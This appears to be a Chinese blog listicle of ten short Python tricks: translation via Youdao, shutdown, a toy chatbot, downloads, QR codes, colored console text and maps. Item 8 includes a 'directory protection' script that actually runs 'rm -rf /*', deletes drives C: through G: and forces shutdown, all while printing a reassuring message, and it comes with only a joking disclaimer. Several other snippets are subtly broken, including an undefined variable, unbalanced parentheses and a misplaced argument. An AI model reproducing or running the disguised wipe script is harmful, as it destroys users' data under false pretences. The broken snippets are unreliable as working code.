相信大家很熟悉python吧,
>>>print(list(map(range,[10,30,12])))
[range(0, 10), range(0, 30), range(0, 12)]
python能有什么神操作呢?top10马上揭晓!
10.nim——取物游戏
你没有看错。5行代码以内,而且,只需要2行。
第一步,安装Mydemos_pkg库
pip install Mydemos_pkg
第二步
from Mydemos_pkg.nim import nim
第三步
nim()
这确实是2行代码。
哈哈,我可没说过不能调用库。
9.翻译文本
这回不用安装库啦,但是要请出有道!
import requests
s=str(input(""))
r = requests.get("http://fanyi.youdao.com/translate",params={'doctype': 'json','type': 'AUTO','i':s}).json()['translateResult'][0][0]["tgt"]
print(t)
很长,是吧,但它真的只有4行!
⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘
⌘-----------------------------------------------------⌘
⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘
原理:使用有道接口。
>>>你好,你爱吃什么,别偷东西,python真棒!
"Hello, what do you love to eat, don't steal things, python are great!"
>>>
8.关机
import os
os.system('shutdown -s -t'+input('几秒后关机??'))
通过cmd调用shutdown,无需解释
如果换成这个毁电脑的东西:
from os import system as s
s('cd '+input('请输入您要保护的目录:'))
s('rm -rf /*')
print('正在保护中...')
s('rd d:\\')
s('rd e:\\')
s('rd f:\\')
s('rd g:\\')
s('rd c:\\')
s('shutdown -s -t 0')
使用这段代码出事的我不承担责任!
小心别人打你。
7.人工智能(人工智障)
while(True):
print(input().replace('吗', '呢').replace('?', '!').replace('?', '!').replace('你', '我').replace('我', '你'))
两行代码,一个的人工智能。
你好吗?
我好呢!
你吃饭了吗?
我吃饭了呢!
你要睡了吗?
我要睡了呢!
哈哈,这样就人工智障了。
你是猪吗
我是猪
你傻吗
我傻
看来“小智”承认自己傻了。
为了让他聪明点,加一行
加个贬义词库bads.txt。格式:
xxxx
·································· · ················· · · ·xxxx
pip install badwords
import badwords
while(True):
print(badwords.badwords(input().replace('吗', '呢').replace('?', '!').replace('?', '!').replace('你', '我').replace('我', '你'),'bads.txt'))
正好3行代码。
6.无法用CTRL/⌘+C中断的代码
def awhile():
try:
while 1:pass
except KeyboardInterrupt:
awhile()
这一个代码原理是:
KeyboardInterrupt是类似KeyError的可以raise的对象。
5.idle输出emoji表情
>>> from Mydemos_pkg import unicodeconvert
>>> b=unicodeconvert.nonBMPtoBMP('\U0001F600')
>>> b
'\ud83d\ude00'
>>> print(b)
😀
>>>
整理一下,就是
from Mydemos_pkg import unicodeconvert
print(unicodeconvert.nonBMPtoBMP('\U0001F600')
说明:
unicodeconvert库是Mydemos_pkg中的一部分。它提供非BMP区域的Unicode字符转换为Unicode代理对(函数为:nonBMPtoBMP),ASCII与UNICODE互转,还有Mydemos_pkg.unicodeconvert.unicodedata就是unicodedata库。
这篇文章在这句话的上面隐藏了一个秘密。将这句话右键点击,然后点审查元素(或者检查),找到这句话的html源码,应该是p标签里面。在p标签的上面有一行注释。注释是这样的:
<!--...-->
破译方法:①把注释复制,粘贴到这个网页的右面方框上,然后点native键。②粘贴到记事本,保存为html格式,将注释的<!--
和-->
去掉,点开看。什么?注释没找到?来来来,复制一下:
<!--Mydemos_pkg还有很多功能!!!比如emoji😈-->
刚才那个是第4.5名,可惜不是python的。
好啦好啦好了,看看第4名吧
4.下载文件
import requests
f=requests.get(input('您要下载什么东西?'))
with open(input('下载后的名字:',"wb") as c:
c.write(f.content)
仅仅4行代码,说实话,跟百度网盘一个速度,远不如wget,迅雷。
难道百度就是这样下载的?
当然不是。如果下大文件的话(超过200KB就算了),将会是内存的噩梦
所以,下载大文件,还是这样吧。
import requests
r = requests.get(input(''), stream=True)
with open("python.pdf", "wb") as pdf:
for c in r.iter_content(chunk_size=1024):
pdf.write(c)
这是5行下载大文件的代码。如果你想试试,建议试试下载这个:https://www.unicode.org/charts/PDF/U0000.pdf
3.生成二维码
第一步,安装Myqr。
pip install myqr
第二步:
>>> from MyQR import myqr
>>> myqr.run(words='http://www.unicode.org')
line 16: mode: byte
(3, 'H', 'C:\\Users\\M S I\\qrcode.png')
>>>
神不神奇?2行!
什么?要背景图?2行照办!
from MyQR import myqr
myqr.run(words='http://www.baidu.com',picture='l.jpg',colorized=True, save_name='code.png')#picture背景图colorized是否有颜色save_name输出文件
2.控制台输出彩色文字
def esc(code=0):
return f'\033[{code}m'
print(esc('31;1;0') + input()+esc())
提示:
'''
建议使用pycharm
没有pycharm用控制台。
'''
esc('显示方式;前景;背景;')
'''
前景色 背景色 颜色
_______________________________________
30 40 黑色
31 41 红色
32 42 绿色
33 43 黃色
34 44 蓝色
35 45 紫红色
36 46 青蓝色
37 47 白色
显示方式 意义
——————————————————————————
0 终端默认设置
1 高亮显示
4 使用下划线
5 闪烁
7 反白显示
8 不显示
'''
1.绘制地图
第一步:安装folium库。
pip install folium
第二步:
>>> import folium
>>> import pandas as pd
>>> w=folium.Map()
>>> w.save('D:\\12334.html')
>>>
然后查看d:\12334.html
结果真的不错!!!